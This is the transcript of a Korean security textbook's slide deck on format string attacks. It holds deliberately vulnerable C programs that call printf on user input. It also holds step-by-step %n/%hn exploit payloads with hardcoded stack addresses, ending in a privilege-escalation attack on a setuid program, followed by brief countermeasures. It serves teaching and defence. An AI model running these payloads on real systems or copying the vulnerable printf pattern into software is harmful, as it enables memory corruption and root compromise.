√ 원리를 알면 it 가 맛있다
DESCRIPTION
정보 보안 개론과 실습 시스템 해킹과 보안. √ 원리를 알면 IT 가 맛있다. ehanbit.net. 학습목표. 포맷 스트링의 취약점 이해 포맷 스트링 문자 이용 포맷 스트링 공격 수행 포맷 스트링 공격 방어. 포맷 스트링 공격에 대한 이해. ■ 포맷 스트링 함수. 올바른 포맷 스트링 함수 사용법. #include main(){ char *buffer = "wishfree"; printf("%s\n", buffer); }. 잘못된 포맷 스트링 함수 사용법. - PowerPoint PPT PresentationTRANSCRIPT
한빛미디어㈜ - 1 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
√ 원리를 알면 IT 가 맛있다
정보 보안 개론과 실습시스템 해킹과 보안
ehanbit.net
chapter 09.
포맷 스트링
한빛미디어㈜ - 3 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
학습목표
• 포맷 스트링의 취약점 이해
• 포맷 스트링 문자 이용
• 포맷 스트링 공격 수행
• 포맷 스트링 공격 방어
한빛미디어㈜ - 4 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 함수
#include <stdio.h>
main(){
char *buffer = "wishfree";
printf("%s\n", buffer);
}
올바른 포맷 스트링 함수 사용법
잘못된 포맷 스트링 함수 사용법
#include <stdio.h>
main(){
char *buffer = "wishfree\n";
printf(buffer);
}
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 5 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 함수
파라미터 (Parameter) 변수 형식
%d 정수형 10 진수 상수 (integer)
%f 실수형 상수 (float)
%lf 실수형 상수 (double)
%c 문자 값 (char)
%s 문자 스트링 ((const)(unsigned) char *)
%u 양의 정수 (10 진수 )
%o 양의 정수 (8 진수 )
%x 양의 정수 (16 진수 )
%s 문자열
%n * int ( 쓰인 총 바이트 수 )
%hn %n 의 반인 2 바이트 단위
포맷 스트링의 종류
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 6 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 함수의 취약점
Test1.c
#include <stdio.h>
main(){
char *buffer = "wishfree\n%x\n";
printf(buffer);
}
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 7 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 함수의 취약점 Test3.c
#include <stdio.h>
main(){
long i=0x00000064, j=1;
printf(" 최초 i 의 값 : %x\n",&i);
printf("i 값이 저장된 주소 : %x\n",i);
printf("%64d%n\n", j, &i);
printf(" 변경된 i 의 값 : %x\n",i);
}
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 8 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 함수의 취약점
Test6.c
#include <stdio.h>
#include "dumpcode.h"
main(){
char buffer[64];
fgets(buffer, 63, stdin);
printf(buffer);
dumpcode ((char *)buffer, 100);
}
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 9 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 함수의 취약점
Test6.c
gcc -o test6 test6.c ./test6 AAAAAAAA
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 10 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 함수의 취약점
Test6.c
(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%n"; cat) | ./test6
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 11 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 함수의 취약점
Test6.c
(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%hn"; cat) | ./test6
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 12 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 함수의 취약점
Test6.c
(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%c%%hn"; cat) | ./test6
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 13 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 함수의 취약점
Test6.c
(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%64d%%hn"; cat) | ./test6
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 14 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 함수의 취약점 Test6.c
(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%3221224116d%%n"; cat) | ./test6
(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf%%64180d%%hn"; cat) | ./test6
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 15 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 함수의 취약점
Test6.c
(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf\x41\x41\x41\x41\x9a\xfd\xff\xbf%%64180d%%hn%%50423d%%hn"; cat) | ./test6
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 16 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 함수의 취약점
Test6.c
(printf "\x41\x41\x41\x41\x98\xfd\xff\xbf\x41\x41\x41\x41\x9a\xfd\xff\xbf%%64172d%%hn%%50415d%%hn"; cat) | ./test6
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 17 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 공격 수행
bugfile.c
#include <stdio.h>
main(){
int i =0;
char buf[64];
memset(buf, 0, 64);
read(0, buf, 64);
printf(buf);
}
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 18 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 공격 수행
bugfile.c
./bugfile AAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 19 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 공격 수행
Bugfile 실행 시 스택의 구조
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 20 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 공격 수행 GDB 를 이용한 Bugfile 메모리 구조 확인
Disass main
break *0x8048657 run
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 21 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 공격 수행
GDB 를 이용한 Bugfile 메모리 구조 확인
info reg $ebp x/12 $ebp
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 22 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 공격 수행
실제 공격
chmod 4755 bugfile su wishfree ./egg
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 23 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 공격 수행 실제 공격
(printf "\x41\x41\x41\x41\x6c\xf3\xff\xbf\x41\x41\x41\x41\x6e\xf3\xff\xbf%%64840d%%hn%%49831d%%hn";cat) | ./bugfile
포맷 스트링 공격에 대한 이해
한빛미디어㈜ - 24 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
■ 포맷 스트링 공격에 대한 대응책
포맷 스트링 공격에 대한 대응책은 printf 명령문과 같이 포맷스트링을 사용하는 함수를 정상적으로 사용하면 , 문제가 생기지 않는다 .
주요 취약 함수
printf("%s\n", buffer);
fprintf (fp, 서식문자열 , 인자 1, ... , 인자 N)
int sprintf (char *str, const char *fmt,...)
snprintf (char *str, size_t count, const char *fmt,...)
유닉스 Sysem V 에서 사용하는 함수 : vfprintf, vprintf, vsprintf, vsnprintf
포맷 스트링 공격에 대한 대응책
한빛미디어㈜ - 25 -
IT COOKBOOKIT COOKBOOK
ehanbit.net
Thank you
ehanbit.net